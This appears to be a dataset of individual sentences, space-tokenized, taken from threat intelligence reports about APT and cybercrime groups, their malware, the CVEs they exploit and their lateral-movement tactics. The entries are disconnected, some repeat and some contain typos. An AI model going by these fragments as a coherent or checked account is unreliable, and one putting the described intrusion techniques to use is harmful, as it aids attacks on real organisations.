The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware .
The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot ( aka IcedID ) , which was first observed in April 2017 .
The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud , through the use of webinjects and a malware distribution function .
campaigns involving both BokBot and TrickBot were first identified by CrowdStrike Intelligence in July 2017 .
These gtags have been closely associated with LUNAR SPIDER activity .
Unit 42 followed network traces and pivoted on the information left behind by this actor , such as open directories , document metadata , and binary peculiarities , which enabled us to find a custom-made piece of malware , that we named " CapturaTela " .
Our telemetry for this campaign identified email as the primary delivery mechanism and found the first related samples were distributed in August 2018 .
Aside from the use of the custom trojan CapturaTela , the actor makes extensive use of several other remote access Trojans to perform its malicious activities .
Why would OurMine want to target WikiLeaks .
Instead , OurMine had managed to alter WikiLeaks 's DNS records ( held by a third-party registrar ) to direct anyone who tried to visit wikileaks.org to visit a different IP address which definitely wasn't under the control of Julian Assange and his cronies .
We don't know how OurMine managed to access WikiLeaks 's DNS records , but past experience has shown that their typical modus operandi is simply to log in using their victim 's password .
Alternatively , OurMine might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
Alternatively , the attackers might have used social engineering to trick WikiLeaks 's DNS provider into handing over the credentials , or simple requested that a password reset link be sent to a compromised email address .
Known for hijacking prominent social media accounts , the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network .
Last year , OurMine victimized Marvel , The New York Times , and even the heads of some of the biggest technology companies in the world .
Mark Zuckerberg , Jack Dorsey , Sundar Pichai , and Daniel Ek — the CEOs of Facebook , Twitter , Google and Spotify , respectively — have also fallen victim to the hackers , dispelling the notion that a career in software and technology exempts one from being compromised .
The group is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
OurMine is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
The group 's primary goal is demonstrating to companies that they have weak security .
US intelligence agencies pinned the breach on North Korea ( one of the hacking group 's demands was that Sony pull The Interview , Seth Rogan 's comedy about a plot to assassinate Kim Jong-Un ) .
Of course , Sony ( one of Vevo 's joint owners ) fell victim to a devastating hack in 2014 after a group of hackers calling themselves the " Guardians of Peace " dumped a wealth of its confidential data online .
The cryptominer employed by Pacha Group , labeled Linux.GreedyAntd by Intezer , was completely undetected by all leading engines , demonstrating the sophistication of this malware .
Intezer has evidence dating back to September 2018 which shows Pacha Group has been using a cryptomining malware that has gone undetected on other engines .
The new miner employed by Pacha Group , named Linux.GreedyAntd , has shown to be more sophisticated than the average Linux threat , using evasion techniques rarely seen in Linux malware .
Pacha Group is believed to be of Chinese origin , and is actively delivering new campaigns , deploying a broad number of components , many of which are undetected and operating within compromised third party servers .
We have labeled the undetected Linux.Antd variants , Linux.GreedyAntd and classified the threat actor as Pacha Group .
Based on our findings Linux.GreedyAntd 's operations closely resemble previous cryptojacking campaigns deployed by Pacha Group in the past .
Among the artifacts hosted in GreedyAntd 's servers , we managed to find a single component not related to the same cryptojacking operation just previously discussed and leveraged by Pacha Group .
It was one of the few ransomware strains that were being mass-distributed via email spam and exploit kits , but also as part of targeted attacks against high-profile organizations ( a tactic known as big-game hunting ) at the same time .
The GandCrab author also had a spat with South Korean security vendor AhnLab last summer after the security firm released a vaccine for the GandCrab ransomware .
Recently , Sophos Labs has observed criminal groups scanning the internet for open MySQL databases running on Windows systems , which they tried to infect with GandCrab .
CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments , using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams .
Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February .
CrowdStrike® Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments , using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams .
PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab , which has been active since January 2018 .
PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts .
The main catalyst for dedicated development by PINCHY SPIDER , however , has been an ongoing battle with cybersecurity providers that are actively developing GandCrab mitigations and decryptors .
In February , PINCHY SPIDER released version 5.2 of GandCrab , which is immune to the decryption tools developed for earlier versions of GandCrab and in fact , was deployed the day before the release of the latest decryptor .
CrowdStrike Intelligence first identified new GandCrab ransomware deployment tactics in mid-February , when a threat actor was observed performing actions on a victim host in order to install GandCrab .
Using RDP and stolen credentials from the initially compromised host , the threat actor then proceeded to move laterally around the victim network and was able to deploy GandCrab across several other hosts .
Near the end of February , CrowdStrike Intelligence observed another incident in which similar manual lateral movement techniques were used to deploy GandCrab across multiple hosts in an enterprise .
Once Domain Controller access was acquired , Pinchy Spider used the enterprise 's own IT systems management software , LANDesk , to deploy a loader to hosts across the enterprise .
This loader , known as Phorpiex Downloader , is not specifically tied to GandCrab or PINCHY SPIDER , and it has previously been observed dropping other malware , such as Smoke Bot , Azorult , and XMRig .
As reported in the CrowdStrike 2018 Global Threat Report , big game hunting was a trend that helped define the criminal threat landscape in 2018 .
BOSS SPIDER used both enterprise and per-host pricing during their campaigns .
Both INDRIK SPIDER ( with BitPaymer ransomware ) and GRIM SPIDER ( with Ryuk ransomware ) have made headlines with their high profile victims and ransom profits , demonstrating that big game hunting is a lucrative enterprise .
Running successful big game hunting operations results in a higher average profit per victim , allowing adversaries like PINCHY SPIDER and their partners to increase their criminal revenue quickly .
The threat actor Rocke was originally revealed by Talos in August of 2018 and many remarkable behaviors were disclosed in their blog post .
The family was suspected to be developed by the Iron cybercrime group and it's also associated with the Xbash malware we reported on in September of 2018 .
The threat actor Rocke was first reported by Cisco Talos in late July 2018 .
The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
Once the C2 connection is established , malware used by the Rocke group downloads shell script named as " a7 " to the victim machine .
To be more specific , the malware uninstalls cloud security products by Alibaba Cloud and Tencent Cloud .
Public cloud infrastructure is one of the main targets for Rocke .
FortiGuard Labs has been monitoring a Linux coin mining campaign from " Rocke " – a malware threat group specializing in cryptomining .
The malicious bash script components of the malware are hosted in Pastebin , with the profile name " SYSTEMTEN " , which is very similar to previous names used by the " Rocke " threat group .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
By utilizing a hook library , it is more complicated for users to manually detect and remove the infection from their systems , giving the threat actors more time to generate profit .
The group also made it back into the news with the recent WannaCry ransomware that targeted computers around the globe ; it piggybacked on exploits revealed by the Shadow Brokers .
A mysterious hacker or hackers going by the name " The Shadow Brokers " claims to have hacked a group linked to the NSA and dumped a bunch of its hacking tools .
The Shadow Brokers claimed to have hacked the Equation Group and stolen some of its hacking tools .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
The Shadow Brokers , the group that publicly dumped a cache of NSA hacking tools , appears to be back and ready to sell stolen material on an individual basis .
Wh1sks estimated that , between June and early August , the Shadow Brokers have made up to $88,000 in an alternative cryptocurrency called Monero .
Moreover , Wh1sks was able to find out the email addresses of five people who have subscribed to the Shadow Brokers' monthly dump service .
Buried among this new treasure trove , there are several mentions of previously disclosed NSA top secret programs and software such as " STRAITBIZARRE " , used to control implants remotely , and " JEEPFLEA " , a project to hack the money transferring system SWIFT .
The Shadow Brokers have long claimed that the tools they release are from the " Equation Group " , the name of a government hacking group outed by Kaspersky Lab in 2015 , which is widely believed to be the NSA .
Recently , FireEye released a great report on one of the more active groups , now known as APT30 .
In addition , Kaspersky discovered that the Winnti group uses a popular backdoor known as PlugX which also has Chinese origins .
Previous work published by security vendor FireEye in October 2014 suggests APT28 might be of Russian origin .
After publishing our initial series of blogposts back in 2016 , Kaspersky has continued to track the ScarCruft threat actor .
Based on the ScarCruft’s recent activities , Kaspersky strongly believes that this ScarCruft group is likely to continue to evolve .
Kaspersky also discovered an interesting piece of rare malware created by this threat actor ScarCruft .
Kaspersky witnessed the ScarCruft threat actor extensively testing a known public exploit during its preparation for the next campaign .
Based on our telemetry , Kaspersky can reassemble ScarCruft’s binary infection procedure .
In addition , Kaspersky analyzed the victims of this campaign and spotted an interesting overlap of this campaign with another APT actor known as DarkHotel .
Secureworks researchers investigated activities associated with the BRONZE BUTLER (also known as Tick) threat group , which likely originates in the People .
However , an investigation by Symantec has found that Butterfly has been active since at least March 2012 and its attacks have not only continued to the present day , but have also increased in number .
Talos assesses with high confidence that Group 123 was responsible for six campaigns .
Attacks launched by Scarlet Mimic were publicly exposed on 2013 in a Trend Micro report about the FakeM Trojan .
Finally , Talos identified a 6th campaign that is also linked to Group 123 .
As Talos observed at the beginning of 2017 , Group 123 started a campaign corresponding with the new year in 2018 .
Last month , researchers at Kaspersky reported on a Lazarus APT campaign targeting both macOS and Windows users .
Cylance uncovered several bespoke backdoors deployed by the OceanLotus APT Group a.k.a APT32 , Cobalt Kitty .
While continuing to monitor activity of the OceanLotus APT Group , Cylance researchers uncovered a novel payload loader that utilizes steganography to read an encrypted payload concealed within a .png image file .
Gobelin Panda , a.k.a Goblin Panda , is a group that has been identified by CrowdStrike as a Chinese threat actor .
CrowdStrike observed Goblin Panda activity spike as tensions among South China Sea nations has risen .
This confirms Tropic Trooper is using Poison Ivy as part of their toolkit , something speculated in the original Trend Micro report but not confirmed by them .
In a 2018 blogpost , ESET researchers predicted that Turla would use more and more generic tools .
ESET researchers will continue monitoring new Turla activities and will publish relevant information on our blog .
ESET researchers analyze new TTPs attributed to the Turla group that leverage PowerShell to run malware in-memory only .
ESET have been tracking the malicious activities related to the Ke3chang group .
According to Kaspersky Lab’s report , NetTraveler has been active since as early as 2004; however , the highest volume of activity occurred from 2010 – 2013 .
Kaspersky Lab’s experts calculated the amount of stolen data stored on NetTraveler’s C&C servers to be more than 22 gigabytes .
FireEye believes the Ke3chang attackers likely began attempting to exfiltrate sensitive data shortly thereafter .
This report details some of the technical findings of the Lazarus Group’s malware , observed by Novetta during Operation Blockbuster .
The Lazarus Group was first identified in Novetta’s report Operation Blockbuster in February 2016 .
FireEye has not identified APT33 using SHAPESHIFT , but APT33 is the only group FireEye has seen to use DROPSHOT .
In 2018 , Kaspersky Labs published a report that analyzed Turla threat group .
Starting in February 2018 , Palo Alto identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
Proofpoint researchers have observed a well-known Russian-speaking APT actor usually referred to as Turla using a new .NET/MSIL dropper for an existing backdoor called JS/KopiLuwak .
Insikt Group investigated the domain and hosting infrastructure used by the APT33 group .
Symantec tracks the group behind this activity as Blackfly and detects the malware they use as Backdoor.Winnti .
As shown within the timeline above , the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018 .
Symantec discovered Suckfly , an advanced threat group , conducting targeted attacks using multiple stolen certificates , as well as hacktools and custom malware .
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group .
A few days ago , Symantec discovered a new document that appears to be part of the ongoing BlackEnergy APT group attacks against Ukraine .
While analyzing a campaign run by the Gamaredon group , FortiGuard Labs discovered the tools they used to prepare the attack and found artifacts left behind by the actors that allowed us to perform a large amount of forensic analysis .
In this blog , Unit 42 provides details of the tools and tactics we observed on these compromised SharePoint servers , explain how we believe these connect to the Emissary Panda threat group .
QiAnXin identified this APT group coded as ‘APT-C-35’ in 2017 , who is mainly targeting Pakistan and other South Asian countries for cyber espionage .
CTU researchers assess with moderate confidence that APT28 is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
It is worth noting that during our investigation f-secure uncovered links between infrastructure associated with the Callisto Group and infrastructure used to host online stores selling controlled substances .
As Unit 42 have observed throughout our tracking of the OilRig group , adopting proven tactics has been a common behavior over time .
The OceanLotus group was first revealed and named by QiAnXin in May 2015 .
The OceanLotus , an APT group said to have a Vietnamese background , was first exposed and named by QiAnXin in May 2015 .
The QiAnXin keeps a close eye on activities made by OceanLotus .
Donot , named and tracked by PatchSky ,is an attack group that mainly targets countries such as Pakistan in South Asia .
After investigation , QiAnXin suspect this attack is carried out by Molerats .
In June 2017 , QiAnXin discovered new malware used by Molerats .
Last month , QiAnXin captured multiple phishing emails sent by TA505 Group to target financial institutions .
QiAnXin confirmed that this is a DarkHydrus Group’s new attack targeting Middle East region .
First described by Kaspersky in 2014 and later by Cylance in 2017, Machete is a piece of malware found to be targeting high profile individuals and organizations in Latin American countries .
It’s now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware , ” said Dennis Schwarz , research analyst on Arbor , in an interview with Threatpost .
After thorough analysis , ESET researchers are highly confident that this campaign is run by the OceanLotus group , also known as APT32 and APT-C-00 .
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360 Helios Team captured the first Trojan of the Poison Ivy Group in December 2007 .
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360 Helios Team captured the first Trojan of the Poison Ivy Group in December 2007 .
Through research , 360 Helios Team has found that , since 2007 , the Poison Ivy Group has carried out 11 years of cyber espionage campaigns against Chinese key units and departments , such as national defense , government , science and technology , education and maritime agencies .
In addition , Antiy Lab revealed the APT organization Green Spot on September 19 , 2018 .
Recently , the 360 Core Security discovered an APT attack code named as APT-C-26 against cryptocurrency institutions and related individuals .
This APT attack was analyzed and attributed upon the detection and 360 Core Security now confirmed its association with the APT-C-06 Group .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in the wild .
ESET researchers have dissected some of the latest additions to the malicious toolkit of the Advanced Persistent Threat (APT) group known as OceanLotus , also dubbed APT32 and APT-C-00 .
Earlier this year , our colleagues at Symantec uncovered an interesting story about the use of Equation group exploitation tools by an alleged Chinese group named Buckeye a.k.a APT3 , or UPS team .
In addition , OceanLotus is also known to use ‘watering hole attacks’ , which involve the compromise of a website that the victim is likely to visit .
Kaspersky found Zebrocy deploying a compiled Python script , which we call PythocyDbg , within a Southeast Asian foreign affairs organization: this module primarily provides for the stealthy collection of network proxy and communications debug capabilities .
ESET researchers have investigated a distinctive backdoor used by the notorious APT group known as Turla (or Snake ,or Uroburos) to siphon off sensitive communications from the authorities of at least three European countries .
Dragos has reported that XENOTIME , the APT group behind the TRISIS (aka TRITON and HatMan) attack on a Saudi Arabian petro-chemical facility in 2017 , has expanded its focus beyond the oil and gas industries .
ESET researchers have observed a significant change in the campaign of the infamous espionage group .
On the technical side , since mid-January Kaspersky researchers have been tracking an active Turla campaign targeting government bodies in Turkmenistan and Tajikistan .
Kaspersky also published details on how Zebrocy has added the Go” language to its arsenal – the first time that we have observed a well-known APT threat actor deploy malware with this compiled , open source language .
ESET researchers have found that Turla , the notorious state-sponsored cyberespionage group , has added a fresh weapon to its arsenal that is being used in new campaigns targeting embassies and consulates in the post-Soviet states .
Turla has been operating for a number of years and its activities have been monitored and analyzed by ESET research laboratories .
Kaspersky researchers attribute the campaign , which we call SpoiledLegacy” , to the LuckyMouse APT group (aka EmissaryPanda and APT27) .
Further tracking of the Lazarus’s activities has enabled Kaspersky researchers to discover a new operation , active since at least November 2018 , which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers .
However , over the last nine campaigns since Trend Micro‘s June report , TA505 also started using .ISO image attachments as the point of entry , as well as a .NET downloader , a new style for macro delivery , a newer version of ServHelper , and a .DLL variant of FlawedAmmyy downloader .
In this blog post , FireEye researchers are going to examine a recent instance where FireEye Managed Defense came toe-to-toe with APT41 .
The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802) , and the ability to incorporate them into operations .
More information on this threat actor is found in our report , APT37 (Reaper): The Overlooked North Korean Actor .
There have been reports of real-time phishing in the wild as early as 2010 .
Explanation of ToolTo improve social engineering assessments , we developed a tool – named ReelPhish – that simplifies the real-time phishing technique .
We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests .
Known targets of this group have been involved in the maritime industry , as well as engineering-focused entities , and include research institutes , academic organizations , and private firms in the United States .
By releasing ReelPhish , we at Mandiant hope to highlight the need for multiple layers of security and discourage the reliance on any single security mechanism .
The group has also been reported as Leviathanby other security firms .
Like multiple other Chinese cyber espionage actors , TEMP.Periscope has recently re-emerged and has been observed conducting operations with a revised toolkit .
The tool then starts a new web browser instance on the attacker’s system and submits credentials on the real VPN portal .
These tools include:AIRBREAK: a JavaScript-based backdoor also reported as Orz that retrieves commands from hidden strings in compromised webpages and actor controlled profiles on legitimate services.BADFLICK: a backdoor that is capable of modifying the file system , generating a reverse shell , and modifying its command and control (C2) configuration .
HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors .
The following are tools that TEMP.Periscope has leveraged in past operations and could use again , though these have not been seen in the current wave of activity:Beacon: a backdoor that is commercially available as part of the Cobalt Strike software platform , commonly used for pen-testing network environments .
This entry was posted on Fri Mar 16 00:00 EDT 2018 and filed under Targeted Attacks , FireEye , and China .
Read our report , APT37 (Reaper): The Overlooked North Korean Actor , to learn more about our assessment that this threat actor is working on behalf of the North Korean government , as well as various other details about their operations .
A brief timeline of this activity is shown in Figure 1.Figure 1: Timeline of this recently observed spear phishing campaign .
The first part of the campaign From Jan. 23 , 2018 , to Feb. 26 , 2018 used a macro-based document that dropped a VBS file and an INI file .
One such email that we were able to obtain was targeting users in Turkey , as shown in Figure 4:Figure 4: Sample spear phishing email containing macro-based document attachment The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey , Pakistan , Tajikistan and India .
The INI file contains the Base64 encoded PowerShell command , which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe .
cmstp.exe system restart , cmstp.exe will be used to execute the SCT file indirectly through the INF file .
The following are the three files:Defender.sct – The malicious JavaScript based scriptlet file .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors .
This entry was posted on Tue Mar 13 12:15 EDT 2018 and filed under Yogesh Londhe , Dileep .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
The malware checks whether its running on a 32-bit or 64-bit system to determine which PowerShell script to grab from the command and control (C2) server .
Notably , cryptocurrency mining malware is being distributed using various tactics , typically in an opportunistic and indiscriminate manner so cyber criminals will maximize their outreach and profits .
After all network derived IPs have been processed , the malware generates random IPs and uses the same combination of PingCastle and EternalBlue to spread to that host .
They have taken interest in subject matter of direct importance to the Democratic People's Republic of Korea (DPRK) such as Korean unification efforts and North Korean defectors .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
While we have observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks , we have not thus far observed TEMP.Reaper use their wiper malware actively against any targets .
In the past year , FireEye iSIGHT Intelligence has discovered newly developed wiper malware being deployed by TEMP.Reaper , which we detect as RUHAPPY .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
FireEye products have robust detection for the malware used in this campaign .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
Infection VectorWe have observed this recent wave of Zyklon malware being delivered primarily through spam emails .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
We have observed this recent wave of Zyklon malware being delivered primarily through spam emails .
The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office .
It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016 .
Command & Control Communication The C2 communication of Zyklon is proxied through the Tor network .
At this time of writing , FireEye Multi Vector Execution (MVX) engine is able to recognize and block this threat .
The targeting of critical infrastructure to disrupt , degrade , or destroy systems is consistent with numerous attack and reconnaissance activities carried out globally by Russian , Iranian , North Korean , U.S. , and Israeli nation state actors .
Specifically , the following facts support this assessment: The attacker targeted the SIS suggesting an interest in causing a high-impact attack with physical consequences .
First , the attacker’s mission is to disrupt an operational process rather than steal data .
The TRITON malware contained the capability to communicate with Triconex SIS controllers .
the attacker did not leverage all of TRITON’s extensive reconnaissance capabilities .
This file is decrypted and injected into an instance of InstallUtiil.exe , and functions as a Tor anonymizer .
For instance , Russian operators , such as Sandworm Team , have compromised Western ICS over a multi-year period without causing a disruption .
The TRITON sample Mandiant analyzed added an attacker-provided program to the execution table of the Triconex controller .
Along with the executable , two binary files , inject.bin (malicious function code) and imain.bin (malicious control logic) , were deployed as the controller’s payload .
We assess that this was an anti-forensics technique to hide the presence of the attacker code on the Triconex controller .
This entry was posted on Thu Dec 14 10:00 EST 2017 and filed under Malware , Nathan Brubaker , Christopher Glyer , Blake Johnson , Dan Caban , Marina Krotofil , ICS Security , and Dan Scali .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
Keeping in mind the sensitivity of passwords , GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task .
Throughout 2017 , we observed two versions of BACKSWING and saw a significant increase in May with an apparent focus on compromising Ukrainian websites .
During our investigation into the activity , FireEye identified a direct overlap between BADRABBIT redirect sites and sites hosting a profiler we’ve been tracking as BACKSWING .
This entry was posted on Tue Nov 28 14:00 EST 2017 and filed under Malware , Sandor Nemes , Malware Analysis , and Abhay Vaish .
FireEye network devices blocked infection attempts at over a dozen victims primarily in Germany , Japan , and the U.S until Oct. 24 at 15:00 UTC , when the infection attempts ceased and attacker infrastructure – both 1dnscontrol.com and the legitimate websites containing the rogue code – were taken offline .
Incident Background Beginning on Oct. 24 at 08:00 UTC , FireEye detected and blocked attempts to infect multiple clients with a drive-by download masquerading as a Flash Update (install_flash_player.exe) that delivered a wormable variant of ransomware .
FireEye observed that BACKSWING , a malicious JavaScript profiling framework , was deployed to at least 54 legitimate sites starting as early as September 2016 .
Figure 3: BACKSWING Version 2Version 1:FireEye observed the first version of BACKSWING in late 2016 on websites belonging to a Czech Republic hospitality organization in addition to a government website in Montenegro .
Beginning in May 2017 , FireEye observed a number of Ukrainian websites compromised with BACKSWING v1 , and in June 2017 , began to see content returned from BACKSWING receivers .
FireEye observed this framework on compromised Turkish sites and Montenegrin sites over the past year .
While FireEye has not directly observed BACKSWING delivering BADRABBIT , BACKSWING was observed on multiple websites that were seen referring FireEye customers to 1dnscontrol.com , which hosted the BADRABBIT dropper .
Harvested credentials provided by an embedded Mimikatz executable facilitate the infection of other systems on the network .
Like EternalPetya , infpub.dat determines if a specific file exists on the system and will exit if found .
This entry was posted on Mon Dec 04 12:00 EST 2017 and filed under Code , Reverse Engineering , Nick Harbour , and Incident Response .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The developer consistently used Accept-Enconding” (note the extra ‘n’) in all DanBot samples analyzed by CTU researchers .
Previous versions were described by Kaspersky in 2014 and Cylance in 2017 .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
Backdoor installed in the infected system distributed additional botnet malware , ransomware and email stealers .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Group-IB has also detected recon emails sent out to New Zealand .
In 2019 , Group-IB also observed the use of a new fileless PowerShell loader called IvokeThe Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
Group-IB specialists tracked a massive mailout of emails containing a malicious Microsoft Word attachment titled Договор.doc” [Contract.doc] .
On 24 March 2019 , Silence.ProxyBot (MD5 2fe01a04d6beef14555b2cf9a717615c) was uploaded to VirusTotal from an IP address in Sri Lanka .
To do this , the actor may have used a unique tool called Atmosphere , a Trojan developed by Silence to remotely control ATM dispensers , or a similar program called xfs-disp.exe , which the actor may have used in their attack on IT Bank .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe .
These malware families have a rich history of being used in many targeted attacks against government and private organizations .
The samples we analyzed originated from the Philippines .
Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH .
Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper .
We will provide an analysis of the HyperBro tool in an upcoming section .
Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
The main payload is usually Imminent Monitor RAT ; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT .
In a case in June 2019 , we also noticed Warzone RAT being used .
Xpert RAT reportedly first appeared in 2011 .
The first version of Proyecto RAT” was published at the end of 2010 .
Similar to previous campaigns , the JAR was directly attached to emails and used file names such as Order_2018.jar .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
On June 24 , we found another campaign targeting Lebanon with the ServHelper malware .
Nonetheless , these spam emails were not delivered to the UAE or Arabic-speaking users , but to banks in Asian countries such as India , Indonesia , and the Philippines .
In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
